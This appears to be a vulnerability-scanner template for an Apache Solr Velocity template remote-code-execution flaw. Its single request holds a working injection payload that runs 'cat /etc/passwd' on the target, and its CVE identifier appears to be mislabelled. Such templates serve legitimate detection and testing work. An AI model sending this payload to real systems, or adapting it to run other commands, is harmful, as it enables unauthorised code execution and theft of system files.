CVE-2020-17558.yaml

id: CVE-2020-17558.yaml

info:
  name: Apache Solr RCE
  author: medbsq
  severity: critical

requests:
  - method: GET
    path:
      - "{{BaseURL}}/solr/dovecot/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    matchers:
      - type: word
        words:
          - "root:"
        part: body